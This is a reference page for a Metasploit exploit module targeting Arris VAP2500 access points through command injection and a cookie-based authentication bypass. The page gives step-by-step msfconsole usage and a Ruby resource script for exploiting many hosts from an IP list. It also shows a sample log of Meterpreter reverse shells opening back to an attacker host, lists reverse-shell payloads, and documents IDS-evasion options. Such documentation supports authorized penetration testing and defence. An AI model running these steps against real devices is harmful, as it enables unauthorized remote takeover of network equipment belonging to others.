Arris VAP2500 tools_command.php Command Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/vap2500_tools_command_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Arris VAP2500 tools_command.php Command Execution
Module: exploit/linux/http/vap2500_tools_command_exec
Source code: modules/exploits/linux/http/vap2500_tools_command_exec.rb
Disclosure date: 2014-11-25
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-8423, CVE-2014-8424
Arris VAP2500 access points are vulnerable to OS command injection in the web management portal via the tools_command.php page. Though authentication is required to access this page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid username.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
Using vap2500_tools_command_exec against a single host
Normally, you can use exploit/linux/http/vap2500_tools_command_exec this way:
msf > use exploit/linux/http/vap2500_tools_command_exec
msf exploit(vap2500_tools_command_exec) > show targets
... a list of targets ...
msf exploit(vap2500_tools_command_exec) > set TARGET target-id
msf exploit(vap2500_tools_command_exec) > show options
... show and set options ...
msf exploit(vap2500_tools_command_exec) > exploit
Using vap2500_tools_command_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your vap2500_tools_command_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/vap2500_tools_command_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the linux/http/vap2500_tools_command_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/vap2500_tools_command_exec
msf6 exploit(linux/http/vap2500_tools_command_exec) > show info
Name: Arris VAP2500 tools_command.php Command Execution
Module: exploit/linux/http/vap2500_tools_command_exec
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-11-25
Provided by:
HeadlessZeke
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Space: 1024
Description:
Arris VAP2500 access points are vulnerable to OS command injection
in the web management portal via the tools_command.php page. Though
authentication is required to access this page, it is trivially
bypassed by setting the value of a cookie to an md5 hash of a valid
username.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-8423
https://nvd.nist.gov/vuln/detail/CVE-2014-8424
OSVDB (115045)
OSVDB (115046)
http://www.securityfocus.com/bid/71297
http://www.securityfocus.com/bid/71299
http://goto.fail/blog/2014/11/25/at-and-t-u-verse-vap2500-the-passwords-they-do-nothing/
Module Options
This is a complete list of options available in the linux/http/vap2500_tools_command_exec exploit:
msf6 exploit(linux/http/vap2500_tools_command_exec) > show options
Module options (exploit/linux/http/vap2500_tools_command_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/http/vap2500_tools_command_exec exploit:
msf6 exploit(linux/http/vap2500_tools_command_exec) > show advanced
Module advanced options (exploit/linux/http/vap2500_tools_command_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/vap2500_tools_command_exec module can exploit:
msf6 exploit(linux/http/vap2500_tools_command_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/vap2500_tools_command_exec exploit:
msf6 exploit(linux/http/vap2500_tools_command_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
1 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
2 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
3 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/vap2500_tools_command_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/vap2500_tools_command_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Failed to access the vulnerable device
Here is a relevant code snippet related to the "<PEER> - Failed to access the vulnerable device" error message:
70:
71: def exploit
72: print_status("Trying to access the device ...")
73:
74: unless check == Exploit::CheckCode::Vulnerable
75: fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")
76: end
77:
78: print_status("Exploiting...")
79:
80: if datastore['PAYLOAD'] == 'cmd/unix/generic'
<PEER> - Command execution failed
Here is a relevant code snippet related to the "<PEER> - Command execution failed" error message:
103: print_good("Command sent successfully")
104: if res.body.to_s =~ /#{beg_boundary}(.*)#{end_boundary}/m
105: print_status("Command output: #{$1}")
106: end
107: else
108: fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
109: end
110: rescue ::Rex::ConnectionError
111: fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
112: end
113: end
<PEER> - Failed to connect to the web server
Here is a relevant code snippet related to the "<PEER> - Failed to connect to the web server" error message:
106: end
107: else
108: fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
109: end
110: rescue ::Rex::ConnectionError
111: fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
112: end
113: end
114:
115: def exploit_session
116: begin
<PEER> - Failed to connect to the web server
Here is a relevant code snippet related to the "<PEER> - Failed to connect to the web server" error message:
120: 'cmb_header' => '',
121: 'txt_command' => "#{payload.encoded}"
122: },
123: 'method' => 'POST',
124: 'cookie' => "p=#{Rex::Text.md5('super')}"
125: }, 3)
126: rescue ::Rex::ConnectionError
127: fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
128: end
129: end
130: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #4291 Merged Pull Request: Add module for Arris VAP2500 Remote Command Execution
References
- CVE-2014-8423
- CVE-2014-8424
- OSVDB (115045)
- OSVDB (115046)
- BID-71297
- BID-71299
- http://goto.fail/blog/2014/11/25/at-and-t-u-verse-vap2500-the-passwords-they-do-nothing/
See Also
Check also the following modules related to this module:
- exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection
- exploit/linux/http/dlink_command_php_exec_noauth
- exploit/linux/http/dlink_dcs_930l_authenticated_remote_command_execution
- exploit/linux/http/dlink_dwl_2600_command_injection
- exploit/linux/http/goautodial_3_rce_command_injection
- exploit/linux/http/klog_server_authenticate_user_unauth_command_injection
- exploit/linux/http/tp_link_ncxxx_bonjour_command_injection
- exploit/linux/local/pihole_remove_commands_lpe
- exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce
- exploit/linux/misc/igel_command_injection
- exploit/windows/browser/wmi_admintools
- exploit/windows/http/sapdb_webtools
- exploit/multi/fileformat/peazip_command_injection
- exploit/multi/http/git_client_command_exec
- exploit/multi/http/git_lfs_clone_command_exec
- exploit/multi/http/git_submodule_command_exec
- exploit/multi/http/metasploit_webui_console_command_execution
- exploit/multi/sap/sap_soap_rfc_sxpg_command_exec
- exploit/unix/dhcp/rhel_dhcp_client_command_injection
- exploit/windows/browser/ie_execcommand_uaf
- exploit/windows/http/cogent_datahub_command
- exploit/windows/http/hp_sitescope_runomagentcommand
- exploit/windows/smb/timbuktu_plughntcommand_bof
Authors
- HeadlessZeke
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
